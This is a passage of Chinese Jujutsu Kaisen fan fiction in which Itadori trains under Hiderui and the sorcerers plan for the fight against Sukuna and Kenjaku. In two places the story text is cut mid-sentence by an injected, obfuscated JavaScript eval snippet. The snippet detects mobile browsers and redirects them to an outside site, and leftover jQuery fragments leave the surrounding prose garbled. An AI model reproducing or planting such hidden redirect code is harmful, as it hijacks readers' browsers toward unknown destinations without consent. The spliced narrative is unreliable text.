棕发少女仍旧摇头。绳文土偶与千引绳这一套特级咒具虽然针对的是肉|体和灵魂,但是在咒术上,受肉|体和容器是同一个概念,和刍灵咒法是一样的。 来栖华体内的天使开口道:“概念无法分开是因为灵魂的同调太高了,如果还能达到万那时的情况,咒具应该还是可以起作用的。不过,都已经做到那个地步,倒也没有必要再启用那种程度的咒具......” 况且那个咒具应该也没有被复原的可能了。 禅院真依待在众人后面听着,没有说话。 “长距离移动的话可以让忧忧和西宫代劳,”日下部笃也看了一圈,“还有夏油和东堂。” 东堂葵正在接受手部改造,并没有出现在这一次的作战会议上。 “我觉得还可以考虑更多可能性。” 日车宽见说完,在场所有人安静了一瞬,虎杖悠仁问:“你指什么方面,日车?” 精英律师这几天显然也没怎么睡好,和日下部笃也的神态简直一个模子里刻出来的,充满了成年人的疲惫感:“比如为什么你们确定羂索会离开宿傩独自行动?” 66.英雄无敌 虎杖悠仁实在是很神奇的一个少年。 日照观察了他两天,得出了这样的结论。如果从咒术的视角上看,他首先是“宿傩的容器”。天生能够抵抗宿傩手指的剧毒,在灵魂上甚至可以压制诅咒之王,这幅身躯简直就是为关押宿傩量身定制的牢笼。 “关于父母,你真的什么印象都没有了吗?” “从我记事起就是爷爷在照顾我,”虎杖悠仁对父母没有任何印象,身边甚至没有一张和父母有关的照片,“我是跟着爷爷的工作调动才来到仙台的。” 五条悟也没能调查出任何可疑之处。能把乙骨忧太祖上血缘扒个干净的人没有从虎杖悠仁的身世上找到突破口,但也并非全无收获,他的母亲虎杖香织应该是个自由咒术师,有一个同为咒术师的朋友冰见汐梨。 也就是里梅的容器。 所以说,虎杖悠仁的诞生绝对不是偶然或巧合,肯定有羂索的手笔,只是不知道他究竟做了些什么。 胀相说虎杖悠仁是自己的弟弟,他能通过血脉感受到对方,有极大的可能是虎杖香织在妊娠的过程中混入了羂索的咒力或者......血液。 虎杖悠仁看着手腕上浮现出的青色血管,感受着来自血脉的共鸣。在吃下剩余的咒胎九相图后,原本只建立在胀相和他之间的单向感应变成了双向,似乎是九相图们像兄长一样接纳了他,【赤血操术】的力量渐渐浮现了出来。 “大家最近都开始安排后事了。”他声音低低的。现在每天除了在训练场适应新的力量,虎杖悠仁都会在下午去看望伏黑津美纪。她一直没有清醒,不过日照说她的灵魂正在逐渐恢复。 “就像一根从石头里长出来的绿芽,哪怕折断了花枝,但根系仍牢牢地扎在地下。” 顽强地抗争着。 这几乎成为了虎杖悠仁的慰藉。 很快就要进行“互换灵魂”的训练,但是现在虎杖悠仁还没有决定好要和谁交换。忧忧的术式是空间移动,但是他能够做到将肉|体和灵魂当做不同的术式对象来考虑,换句话说就是只要得到了本人的同意,他可以让两个人相互交换灵魂。 这种方法得到了真人的赞许,这家伙最近也被放出来用来锻炼年轻人。肉|体就像是箱子,灵魂则是内里。忧忧术式的可行性在于哪怕双方互换了灵魂,但是只要不将箱子打开,就不会“有人”知道里面的东西被调换了,因此肉|体也就不会产生变化。 和薛定谔的猫是同样的道理。 日照问过忧忧能不能让自己和他换,这种分别针对肉|体和灵魂的方法他实在很想学一下试试看。 可喜可贺,忧忧说可以。但坏消息是,只有他可以,来栖华和天使没办法完成和他人的互换。 “是吗?说起来,这种时候我都不知道还有什么事情需要自己考虑好才能安心上路。”日照将手中的刀尖戳进地面,手指捏着刀柄旋转刀身,在地面上钻出一个又一个浅浅的螺旋状土坑。 他倒是想到了五条理鸥,但是又没有什么理由再去打扰她。 要论家财,估计他死了也就网球袋里的那些咒具还有些价值,这些年他靠倒卖咒具和接委托攒了一点钱,但对于五条悟给的那些来说还是根本不在同一水平线上。 死了的话,就把全部家当扔给五条悟处理好了。 日照愉快地完成了自己的“遗嘱”,扯了一下虎杖悠仁的红色兜帽:“你还没想好交换的人选吗?” “实际上已经想好了一个,”虎杖悠仁顺着他的力道仰头,“我想和日下部先生交换。” “日下部笃也?倒是个不错的选择。” 灵魂互换每个人只能进行两次,这是不具有更多可能性的“极限”,所以日照对此也无能为力。 如果放在十多年前,日下部笃也现在的这个能力和水准已经能够称得上是新·阴流的得意门生了,没准还会被选做下任当主。没有术式,仅凭新·阴流的拔刀术和简易领域就晋升为一级咒术师,他的本事远远大于本人表现出来的那种程度。 日照的脑子里又不由自主地想到了某天缠着日下部笃也给他展示过的新·阴流的居合·夕月,全自动的反击和能够自主扩张的简易领域......思维不受控制地乱飞,发现虎杖悠仁正在看着他,日照瞬间理解他的意图并挑眉说道:“要选合适的,不能只选强的啊。连羂索都知道找个合适的,而不是只盯着那几个顶尖的。毕竟他要是想的话都可以在五条悟小时候占了他的身体。” 这一暴论让虎杖悠仁惊悚地弹了起来,红色兜帽从日照的指尖扯出:“诶!?这是什么意思!?” 日照没想到他会有这么大反应:“字面意思。羂索大可以选择在各个时代潜力股的幼年时期来进行投资嘛,比如在某一任六眼刚觉醒术式的时候把自己的脑子换进去,不过缺点就是身体不会继续成长,孩童的样貌对他行事也有些不方便吧。” 术式的使用会随着身体的成长而不断进化,但那只是由于术师因为年龄的限制而没有办法完全掌控自己的术式,对于羂索来说则根本不会受到这样的牵制。千年修行对咒术和术式的理解足以让他驾驭任何刻印在大脑中的回路。 他不选择占据五条悟的身体纯粹是因为没必要。 “......扯远了。跟我换还不如趁着加茂家的那个小子离开之前跟他学会【赤血操术】。” 这其实是虎杖悠仁最开始的计划。胀相实在不擅长教人,所以京都校二年级的加茂宪纪就成了帮助虎杖悠仁适应新能力的最佳人选。和日下部笃也交换,尽可能掌握领域的构成,然后和加茂宪纪交换掌握【赤血操术】,至少在决战前要变得更强。 “我想让你帮我适应【御厨子】和扩张术式的使用。” 讥讽的嘲笑还回荡在耳边。只要能够杀死宿傩,就算用的时候会不停犯恶心,虎杖悠仁也要学会这个来自诅咒之王的“临别赠礼”。 痛苦的、会为了他人而哭泣的人。仿佛与生俱来的共情力让虎杖悠仁的心更加柔软,可日照却看见了紧锁其中的韧性。哪怕被破坏无数次,只要他想、有人想,那颗心就能重新跳动起来。 质疑过自身存在的正当性,由此再次找到的自我价值只会更加坚不可摧。 “术式就是术式,”日照说,“去接纳它。它已经是你的东西了。” 虎杖悠仁的瞳色像是琥珀,比常人的棕色更加透亮一些,在阳光下闪着光。 “弥山先生,你有的时候真的很冷血诶。” 日照起身,拍拍衣摆沾上的尘土:“按照寻常设定,我猜肯定有人会觉得我应该会害怕火之类的,毕竟之前被烧焦了嘛。” 他看着虎杖悠仁头顶的发旋:“恐惧是咒术的食粮。想想你第一次是怎么学会使用咒力的吧。” 虎杖悠仁低下头沉思着。 隔壁的训练场传来了恐怖的哀嚎声。在日照的感知里,有咒术师正在被“看不见”的幽灵当成沙包一样暴揍。 看来是伏黑甚尔。 “交换的事不行哦,”日照扭头对虎杖悠仁说,“不过【御厨子】和扩张术式还是能教的。” 粉发少年起身,问道:“要怎么......?” 日照已经来到场地中央。虽说没办法让虎杖悠仁在短时间内有突破性的成长,但在战斗中积累的经验会化作身体本能,也只有身处真正的战斗中时才能与术式更好地磨合。 “......我来了!” 身为五条悟的学生,虎杖悠仁已经很熟悉这种“体验派”的修行方式了。 日照曾经短暂地拥有过宿傩的【御厨子】,对这个术式最基本的三种形态的进攻方式有所了解。但是虎杖悠仁的【御厨子】与宿傩的略微有些不同。 “你似乎只能做到‘切断’呢......”日照手中夹着扑克牌,用术式强化过后不断向虎杖悠仁切去:“宿傩常用的‘解’更像是这样的斩击。” 从使用方法来看,虎杖悠仁的【御厨子】和宿傩的“捌”更类似一些。“捌”能够根据对手的咒力量自动调整斩击的力度和大小,达到一击毙命的效果,是一种近身使用的进攻方式。 “太慢了!你是小学生吗?还需要画辅助线?” 地面上向前延伸的黑色小剪刀和虚线被日照一脚踩碎,龟裂的大地上,未完成的术式随着辅助线的破坏而停止了发动。 日照连武器都没用,虎杖悠仁现在使用术式的速度太慢了,哪怕他加大战斗的压力,不给虎杖悠仁喘息的时间,粉发少年似乎也无法再进一步加快速度。 叹了口气,日照直起身子,向虎杖悠仁伸出一只手。 “......抱歉弥山先生。”体罚?虎杖悠仁虽然疑惑,但还是手心向上放到了他的手上。 “先借我玩玩,”日照躲开他的手,翻掌在他手上拍了一把,拿走了他的术式,“你先练练【赤血操术】。” 忧忧的术式虽然会转移灵魂,但术师本人的术式和咒力却不会同时转移过去。也就是说换到体内的灵魂可以使用躯体上的术式,这也是能够帮助同伴快速领悟不擅长的能力的原因所在。 但是由羂索制作出来的可受肉咒物内,术式却随着灵魂一起被保留了下来。日照猜测只是因为忧忧的术式太特殊了,如果术式和咒力跟着灵魂一起换了外壳,这就相当于打开了躯体这个“箱子”,会造成不明确的后果。 大脑承担了“假想”的负担,被【仳】夺走的术式并不是真正地刻在了日照的大脑皮层,这种扩张术式带着一些【代理人】的特性,假想了术式刻印在大脑中的可能性,因此只要使用一次,大脑就会发现异常,所以夺取来的术式会从脑子里消失。 但在持有术式过程中对大脑造成的伤害是实质性的。 日照星海的嘴巴冒了出来,指导虎杖悠仁适应【赤血操术】,弥山独自分析着属于粉发少年的【御厨子】。 宿傩的斩击是真实存在的,硬要说的话就是那些无形的刀刃一定会拥有一段飞行时间,只不过它们移动的速度太快才导致致命性成倍增长,给人无处可逃的错觉。斩击的强度暂且不谈,虎杖悠仁必须要找出更加隐蔽、更加迅速的施术方式。 “加茂家操纵的血液是由自己的体内抽出的,他们一般会提前准备很多血袋,”日照星海说道,“你也可以尝试着向胀相一样,将咒力转化成血液。不过他本身是人类与咒灵的混血,做到这一点不会太难。” 虎杖悠仁只能尽可能地按照他说的方法来感受、尝试。但他毕竟还是纯粹的人类,实在无法像胀相那样做到用咒力铺成血海。 一个小小的血球就已经是虎杖悠仁能够做到的极限。 “数量少也没关系,这些都不会成为你最主要的攻击方式。” 虎杖悠仁似懂非懂,日照星海继续解释道:“没必要为了这些术式丢掉你最擅长的拳头和力量,把它们当成可以为你带来转机的机会。” 由咒力组成的血液只有小小一团,虽然数量注定它的威力和声势肯定无法与胀相相比,但却能在隐蔽性和速度上胜过一筹。给这一小团血液施加同样的压力,浓缩而成的血块要更不起眼,而且血块几乎能够做到瞬间成型。 “在近距离的战斗中,你可以用这个小小的血块完成反攻。” 虎杖悠仁的“穿血”最大距离只有五米,而且射出的血柱也细得可怜。 隐蔽性和速度。使用术式的速度因人而异,日照弥山想到了两种能够改变虎杖悠仁使用【御厨子】时经常处于劣势的方法。第一,即是做到将辅助线隐藏起来。第二,在不接触目标物体的情况下完成“切断”。 值得庆祝的是,虎杖悠仁本人已经能够做到同时在不同的位置画出多条辅助线。如果像变色龙一样让那些线条与环境融为一体......会不会太复杂了?那,如果将世界想象成一块画板的正反两面,他们所在的地方是正面,只要把辅助线画到反面去就可以了。 小小的血块在虎杖悠仁的指尖悬浮着。 如果以视线的焦点为中心,将远处的物体进行切割......眼神的移动太过明显,还会影响到正常战斗,这种方式被排除了。如果舍弃自由变形的能力,在脑海中提前完成切割线条绘制的过程,再通过眼神聚焦的方式选择术式释放的落点的话...... 日照弥山弯腰捡起一块石子,朝着训练场的墙壁上扔去。石子的落点很精准,伴随着重物落地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357952|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的轰响,混凝土与截面上暴露出来的钢筋组成的数个方方正正的石块一个接一个地掉了下来,像是从叠叠乐中抽走了最重要的那根木棍导致木塔倾塌一样。 训练场之间被回廊隔断,现在出现了一个菱形的大洞。刚好从里面经过的乙骨忧太吓了一跳。 日照弥山抬手表示抱歉。 “不、没关系......”乙骨忧太在墙壁坍塌之前根本没有任何感觉,虽然他是那种对咒力感知不敏感的类型,但这个大洞怎么看都不像是常规手段能搞出来的。 “哦!!好厉害!!”虎杖悠仁眺望着烟尘逐渐散去的洞口,他完全没有注意到日照弥山出手的过程。 “哼,过来我教你。” “你少夸他,虎杖。”日照星海的嘴巴被弥山打了回去。 “求你快教教我吧,弥山老师!” “哼哼,既然你都这么说了......” 看起来,虎杖同学和弥山先生他们相处得还不错啊。乙骨忧太放下心来,果然老师说的是正确的。他忽然想起自己来到这边的目的,但看到虎杖悠仁正围着日照,难得见到日照这么认真地对待一个人,他索性决定先去做些别的事。 乙骨忧太刚刚离开训练场的区域,拐个弯就碰上了家入硝子。 “啊,乙骨你来得正好,”指间夹着未点燃的香烟,眼下和乙骨忧太有着同款黑眼圈的反转术师招呼他,“他们准备找你来着,来这边吧。” 乙骨忧太跟着过去,在一间会议室里见到了日下部笃也等人。 “大家......?” 禅院真希干脆利落地说明了这次聚会需要探讨的主题:“忧太,关于五条老师死后躯体如何安置的事,我们得确定一个大概的方案。” 乙骨忧太微微垂下眼睛:“我明白考虑这一点的必要性,但......” 大家四散坐在会议室的椅子上,在如此沉重的氛围中变得谨慎了许多,没有人轻易开口。 “也就是说,你们打算在五条悟死后,让这个小子模仿羂索的术式,再搞出一个五条悟来吗?”这之中唯有天使毫无顾忌。 来栖华坐在会议桌上,撑着胳膊。禅院真希和秤金次等反对这个计划的人在乙骨忧太来之前已经吵过一轮了,因此现在只是沉默地听着。 “将手中所有可以利用的资源都利用起来,对待宿傩不论做多少样的准备都是不够的。你们还是太松懈了,根本没意识到自己在和什么样的存在对抗。” 天使经历过那个时代,能以诅咒之王为必须杀死的目标足以说明她对戒律的虔诚。 “不,我的意思是说,”乙骨忧太等她说完才开口道,“弥山先生应该不会允许羂索仍有任何一部分还留在这个世界上,也就是说我可能拿不到可以让里香吞噬的部分。” 如今还能称得上是羂索本体的就只有那个大脑了,仅凭这样一颗脆弱的器官就掀起了千年的风浪,乙骨忧太其实也很赞成直接将羂索的存在彻底抹去,不然总会觉得他还留有后手,让人坐立难安。 至于大家想到的那个方案......虽然很残酷,但事实如此。除了乙骨忧太,还能做到利用羂索术式的就是日照。如今立于咒术界最顶层的两个人,哪怕死去也要将躯体充分利用才行。 “夏油会和日照一起去。”日下部笃也说。 “......”感觉大家对夏油老师也有什么误解的样子。乙骨忧太彻底在心里给这个计划画上了叉。 一直靠在门边的家入硝子坦言:“乙骨,你的【模仿】只能在里香显现的五分钟内使用被她吞噬的术式,也就是说这五分钟结束后,谁也不知道你的身体会发生什么样的事情。” 日下部笃也补充道:“不仅是技术方面的问题,在人道主义上......” “那是穷途末路时必须要使用的最终手段,我明白的!”乙骨忧太正色道,他并非不愿意接受这样的未来,毕竟咒术界已经依赖他们太久,依赖名为“最强”的存在,将他、他们塑造成了怪物的模样。 在这些人离开之后,必须得有人顶上去才行。 “我不会再让老师们孤单一人前行的。” 黑发黑眼的少年神情坚决,但心中所想却并非是在五条悟和夏油杰两人身死、自己也即将迈入死亡边缘时为了反抗命运而进行的疯狂计划,他更想要在那之前跟着老师们一起度过最后的考验。 “我早就说了,问题不在乙骨身上,”秤金次捏着自己的小胡子,星绮罗罗靠在他身旁,“就像他说的那样,那对兄弟不会允许羂索仍有任何一丁点的存在还留在这个世界上。” 乙骨忧太比在场的其他人知道的更多一些,夏油杰的亲人似乎也是因为羂索的算计才离世,父母只能久居北海道,警惕着可能找上门来的危险。 如果他们之间有人死去,另外的一个人也只会期望对方入土为安吧。不过他们对自己死后的身体将会被如何对待似乎并不太在意。 “算了,这件事就先这样吧,想得再多都不如尽力避免这个局面发生,”禅院真希觉得再讨论下去也不会有更好的结果,索性走一步看一步,“忧太,你决定好和谁进行互换修行了吗?” 听到话题开始转向别的方向,乙骨忧太松了口气,回答道:“本来虎杖同学说想要和我交换来着,但是现在似乎有了新的方案......” 日下部笃也举手:“他要跟我换,我得把简易领域的使用方法教给他,顺便看看他有没有可能领悟更高层次的东西。” 秤金次疑惑:“简易领域?那东西现在可以外传了吗?” “啊,那个啊,”日下部挠头,“那件事冥小姐已经处理好了,总而言之现在谁想学都可以了。参与最终决战的最低门槛是要拥有对抗领域的方法,最好还能使用反转术式才行。” 冥冥并没有在场,她在解决完新·阴流的问题后又被五条悟叫走了。庵歌姬也不在,不知道最近在忙什么。 禅院真希挑眉。她在这段时间一直跟着伏黑甚尔,互换修行对她来说没有意义。 “五条要和谁换?”日下部笃也问。 “嗯,”乙骨忧太缓缓说道,“好像是弥山先生?” 67.秽土生莲 在忧忧的帮助下,部分人的互换修行已经逐步开始。乙骨忧太在会议结束后又找到了狗卷棘和熊猫,他们正在与机械丸和三轮霞一起帮助庵歌姬。 “已经基本设置完了?太快了!”穿着白色特制校服的少年将身后的咒具放在一旁,看着机械丸面前几乎占满一整面墙的监视器和电脑屏幕惊讶地说道。 机械丸正在使用【傀儡操术】,三轮霞替他解释道:“因为现在已经有新的联合总部了嘛,机械丸也不需要再隐蔽行事,可以利用无人机之类的机械造物快速完成任务。” 在涩谷事变开始前,机械丸在姐妹校交流会后加入了五条悟和夏油杰的“小团体”里。从一开始他就没有怀疑过这两个人利用他的目的,毕竟如果真的想要抹杀他,他会在毫无所觉的情况下从这个世界彻底消失。 被带到五条家的地下室里后,机械丸成为了他们之间的联络站。 “那个时候他们就在提防羂索,也怀疑过总监部里有羂索的人,”三轮霞说,“好像连首座都有可能有问题,所以那个时候五条夏油派的核心人员都是通过机械丸联系的。” “总感觉是在进行间|谍活动一样,好可疑啊。”熊猫将自己毛茸茸的身体塞进沙发中,他的话得到了狗卷棘赞成地点头。 “那个时候就是这样的,现在虽然看起来情况改善了不少,但阿依努咒术联盟领导者遇害也说明了还不可以掉以轻心......在里香解咒后让你降为四级咒术师也有他们的功劳,乙骨。”机械丸从无数屏幕中抬起头来,乙骨忧太指了指自己,歪头露出一个疑惑的表情。 “和七海先生同辈的灰原前辈,你们大概没见过他,”机械丸接过三轮霞递过来的纸质资料,一旁的打印机一直在不停地工作着,“那个人真的很厉害。包括你的死刑、虎杖的死刑,都有他的在背后运作的手笔。” 没听过的名字......机械丸的话是不是有点歧义?乙骨忧太听上去觉得这个叫灰原的人并不是他们的同伴,而且,他的死刑!?他还有过这种东西吗!? 机械丸的身体虽然被真人修复过,但脸颊上的疤痕却没有消失。他看着眼前这个最年轻的特级咒术师像是还没毕业的高中生——好像他真的是——一样纯良地发出疑惑的疑问声,耐下心来说道:“特级过咒怨灵,对那个就算没有被羂索渗透也配得上‘魔窟’这个称号的总监部来说,是绝对不能允许存在的东西。” “提出死刑、再想方设法让那些老头子们对你的‘可利用性’产生期待,最后再名正言顺地让他们看到你的价值、给予特级的称号......乙骨,这些都不是随随便便能做到的事。” 乙骨忧太知道五条悟他们救下了很多像他这样的“异类”,但他们、还有老师的同伴们究竟做了什么、付出了怎样的努力与代价,那些成年人从来没有告诉过他们这些被拯救者。 机械丸翻看着手中的资料,确认无误后起身将它们用咒力烧了个干净,废渣落入垃圾桶里。 “那群老家伙既想要依赖五条悟和夏油杰他们的力量,又不愿意他们脱离自己的控制......日照兄弟的那场‘熔海事件’未必没有他们的推手。” 机械丸的声音让曾经的咒术总监部完完全全地失去了遮羞布,将那些腐朽的、早已腐烂的根暴露在了阳光之下。哪怕知道“总监部里有人在故意针对日照兄弟”,但从御三家和各个古老的咒术世家中出来的老人们心中各有盘算。无法被掌控的力量就像被拔掉拉环的手榴弹,比起一直捏在手里攥着,不如将它扔出去,也许运气好还能炸死几个跟自己不对付的老家伙。 没有必要追查那个人究竟是谁,因为他的所作所为严格遵循了这里的运作方式。其他人就宛如蝮蛇一样盘踞在自己的巢穴里,观察着周围人的行动,在隐秘的狩猎浪潮中选择自己的下一个猎物。 没有同盟,只有利益一致后默契地守护自己的“正义”与“家族荣耀”。 “歌姬老师快要回来了?” “嗯,所有的集结点都已经设置完毕,有‘窗’的辅助监督在那边驻守,在启动之前他们就会撤离的。” 乙骨忧太放下心来。这是未来即将改变咒术界的一场行动计划,不过他们并没有给它起个响亮的名字。 “随便啦,忧太要是有好的想法直接说嘛,比起我们果然还是年轻人的想法更巧妙一点。”当时五条悟很随意地挥手,反正爱出风头的家伙又不是他自己,这种事情就交给夏油杰和年轻人们去烦恼好了。 乙骨忧太对五条悟口中的“夏油杰爱出风头”这句话表示怀疑。 “到时候你们肯定会很忙,”机械丸绕过熊猫他们,走到了挂在墙壁上的一张地图旁边,上面用红色的记号密密麻麻地标记了很多地方,如果仔细观察的话会发现它们主要围绕着如今死灭洄游的十处结界,“不过提前准备也好。” 挂着地图的墙壁旁是一间没有门的杂物室,里面堆放着许多模型。方形、圆柱形、还有圆球等等不同形态的模型挤挤挨挨地待在角落里。 “现在那些东西都被附加了强力的封印,尽管如此也已经散发着很震撼的力量了。”机械丸是他们之中唯一见过、亲身参与设计过那些东西的人,乙骨忧太他们只能尽量想象那副光景。 机械丸似乎想起了什么,有些恶寒地耸了耸肩:“而且它们长得真的很渗人。你们知道恐怖谷效应吧?不知道是内部的东西影响了它们的样貌,还是制作它们的人故意为之,总之那些泥巴人偶看起来很像真的婴儿一样。” “那里面的东西到底是什么啊,忧太?”熊猫问。 “嗯......”乙骨忧太斟酌了一下是否可以透露这个秘密,机械丸表示随他乐意,所以他就和自己的同伴们说明了起来,“人偶体内包裹的是御神签的碎片。” “明太子?” “不是不是,那些御神签是弥山先生的咒具。准确来说是咒具化的物品,只有四张,”乙骨忧太不得不佩服日照在咒术上的天分,“分成很多份之后,那些碎片的力量变强了很多,放进封入咒纹与咒言的泥巴人偶中来维持内部的御神签碎片可以持续生效。” 这些御神签既有来自伏见稻荷大社和明治神宫这样的有名大社的,也有从随处可见的小神社里求来的。明治神宫那一张是日照他们和同期们加上物部式一起去求的。 四张御神签因为被日照常年随身携带,沾染上了他的咒力,逐渐咒具化了。四张签文都是大吉,在被撕碎之后反而变成了能够凭依诅咒之力、对咒灵极具吸引力的存在。像是宿傩的手指一样诱惑着咒灵,而且每一份之间还拥有类似共鸣的情况出现。 听五条悟说,这种利用方式是在他向日照抱怨想不出好方法后他主动提出的,除了日照,恐怕谁也不会想到这几张大吉御神签在被拆分之后会拥有如此扭曲的力量。 熊猫猜测:“与神结缘的签文被破坏后,变成与诅咒‘结缘’了吗......” 狗卷棘摇摇头。 五条悟在北海道的一小部分时间是在准备这些包含着御神签碎片的泥巴人偶,阿依努咒术师为它们施加封印也花去了不少时间。 “你们在这里啊,”房间的门被敲响,禅院真希走了进来,“忧太你跑得太快了,七海先生刚回来,你们正好错过。” “诶!?为什么!?为什么七海海会回来!?” 虎杖悠仁满身狼狈地从地上跳了起来,顾不得酸疼的肌肉和几近枯竭的咒力,用近乎质问的语气问站在连通训练场和走廊的那个大洞旁的成年人。 【十划咒法】,一种强行给对手制造弱点的术式。日照是从夏油杰口中听到他们这个后辈的故事的,从他们的合照中也经常能看到这个黄头发的年轻人。 据说曾经选择离开咒术界,但是最后还是回来成为了围绕着高专行动的一级咒术师,有关真人的目击报告就是他提交上来的。 “......”七海建人其实并不是特别想要回答虎杖悠仁的这个问题。为什么呢?可能是一种冲动,是未经深思熟虑就做出的选择。也许会在踏上回国的飞机时就会后悔,也许会在死亡降临的时候后悔自己选择回来,但......他既然已经站在这里,就意味着身为咒术师的那点成就感和暧昧不明的责任感仍存在于他的心里。 当他真的看到那片海的时候,突然发现自己并没有想象中的那么期待了。 “七海海......”热忱的少年仍旧喜欢以他人的感受作为第一考虑标准,满心满眼都是七海建人无法实现梦想的难过。 “总之,有各种各样的理由吧,”七海建人从善如流地跳过了这个话题,“日照先生,五条前辈说让我把这个东西交给你。” 七海建人从遥远大洋彼岸带回来的是一件咒具。 日照从他手里接过像是鞭子一样的长绳。特级咒具·黑绳,传说中能够扰乱术式的咒具,是非洲草原上某个古老部落代代传承的东西。 “是个好东西,”日照将这捆沉甸甸的绳子搁在手里颠了两下,目光透过墙壁看向了七海建人和黑绳同时从国外带回来的人,“不过它有更好的人选。” 米盖尔·奥尔多从墙壁之后走了出来:“你有一双好眼睛。” “黑人?外国人?哈喽?”虎杖悠仁的视线在米盖尔和七海建人之间来回移动,搞不清楚现在的状况。 日照将黑绳还给了米盖尔,这个人从刚才靠近的时候就没有收敛咒力,被他看了个一干二净:“来试试吗?你的术式很强诶。” 米盖尔以为日照在诈他:“这是你的术式吗?虽然你的咒力操作非常细致,但想凭看穿我的心理活动来和我战斗并不是明智的选择。” 他说话时带有一种奇特的语调,尽管日语已经说得非常流利,仍能听出带着外国人的口音。 日照没有纠正米盖尔的误解,他掀起了右侧的眼罩,露出了那只与众不同的眼睛。米盖尔的身体素质很强,如果不用咒力单凭体术的话,日照根本不会是他的对手。恐怕只有伏黑甚尔才敢说跟对方有可比性,这种强大体魄的来源一部分是因为米盖尔本身血统的特殊性,又和他自己的术式完美结合在了一起。 七海建人把虎杖悠仁叫走了,剩下米盖尔和日照两个人在训练场里。黑绳的存在十分宝贵,米盖尔祖国的术师要花费几十年才能完成一根“辫入诅咒的绳子”,用一次短一截,因此米盖尔当着日照的面将绳子收了起来。 外国的咒术师十分稀少,敢在这个节骨眼上来到这个乱成一锅粥的国家,米盖尔算是头一个。 “因为‘理想’,”米盖尔说道,“我认识的一个朋友成了九十九由基的同伴,我知道你们未来的计划。” “是吗?那你不应该等到宿傩死掉再来吗?”日照看似放松地站在原地,其实在警惕着米盖尔的一举一动。 九十九由基的同伴必然也是为了能让咒灵和诅咒从世界上彻底消失才选择与她同行,米盖尔所说的计划是她的,还是五条悟和夏油杰的? 日照弥山知道星海很想问清楚,索性帮他多问了几句。 “听说宿傩被你们称作‘诅咒之王’,是你们本土的最强咒术师。”这样传说中的存在,当然要亲眼见一见才行啊。不过这个国家的确太过奇特,低级咒灵几乎随处可见,诅咒的水平也远超其他国家。尤其是他的祖国地广人稀,除了人群聚集的聚落外,米盖尔遇到的强力诅咒几乎都诞生自广袤的大自然。 “那正好,”日照后撤一步,防住了米盖尔的突然进攻,“抱着这样的觉悟上战场只会是排着队送人头,连高中没毕业的孩子都比你有自知之明,部落术师先生。” 他们不再说话,只是进攻的态势逐渐凌厉起来。被虎杖悠仁实验【御厨子】而切得破破烂烂的地面给他们人为增加了不少难度,不过对双方来说,没有比眼前的对手更重要的事。 在两三招之后,米盖尔本能地觉得眼前的对手仿佛突然之间换了一个人似的,进攻的节奏与出拳的力道和之前大不相同。 两人都默契地没有使用术式,但咒力运转起来后,米盖尔的术式在日照眼里变得更加清晰了起来。 六眼理解术式的过程无法用语言来进行描述,日照的这只“伪物”虽然看得不及真货那样明确,但在理解术式方面是同样的过程与效果。 这个来自广阔草原的异国术师拥有的术式名为【祈祷之歌】,是个依靠身体动作的节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365620|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奏来屏退诅咒,提高身体素质的辅助型术式,但配合上本就强健的体魄,米盖尔在动作的“节奏”上打出的攻击是最强的。 尽管现在没有使用术式,可他动作中每一次在“点”上发动的进攻力道都难以承受。 日照被迫向后退了两步,开始避开米盖尔的进攻。 如果将动作视为一条连续不断的线,那么在行动间突出的急停、快速出击等区别于普通节奏的动作就可以被视为“点”。 “点”类似七海建人能够造成暴击的攻击,让米盖尔在这一瞬间的攻击力达到了极限。 日照适应他进攻节奏的速度比米盖尔想象中的更快。而且他看起来不像是会读心的样子,先前说的话难道只是为了营造现在的局面而随口编纂的谎话吗? 这样也好。日照和米盖尔心照不宣地对视了一眼,停下了拳拳到肉的互殴。 “不愧是咒术最鼎盛的国家,能跟上我节奏的人在我的祖国可是一个人都找不到。” “接下来要用术式了吗?你的术式只是相当于增加了buff,我觉得在不用黑绳的情况下我们不用继续了。” 米盖尔发现说话的嘴巴居然开在了日照的脸上。 “原来如此,怪不得你们的战斗风格会发生这么大的变化。”米盖尔惊讶地说。 看起来话少的那一个是刚才和他战斗的人,他们是什么时候交换的?这个人也是死灭洄游的泳者吗? 他们似乎又换了回来,这次米盖尔只看到了日照双眼短暂地失神,如果不集中注意力的话很容易就会忽略掉这个交换的小细节。 米盖尔站直身子,似乎同意了日照的提案:“我有一个问题,你们是怎么知道我的术式的?” 在得知日照那只异色的眼睛的作用之后,米盖尔还以为他把五条悟的一只眼睛挖了出来安到了自己身上。 “所以你说的都是实话……来到这里我就觉得很奇怪了,你们就不担心我是那家伙的同伙吗?” “羂索?他应该不会选择咒术师当同伙。毕竟这么多年他宁可和特级咒灵们混在一块也不愿意交个人类朋友。”日照的猜测倒是八九不离十,不过他本意也并非和米盖尔探讨羂索到底有没有朋友这件事。 “你选择来这边,是因为夏油杰?” “算是吧。我的朋友拉鲁曾经来找我,他加入了九十九由基那边。当时她说你们国内还有其他的人准备走另一条路……那时候我觉得这些都是不可能实现的,因此拒绝了她。” 米盖尔在来到训练场之前已经和夏油杰谈过了。因此他才能果断地说出他觉得如果拉鲁听过夏油杰的宣言,绝对会为了夏油杰所行之路赴汤蹈火。 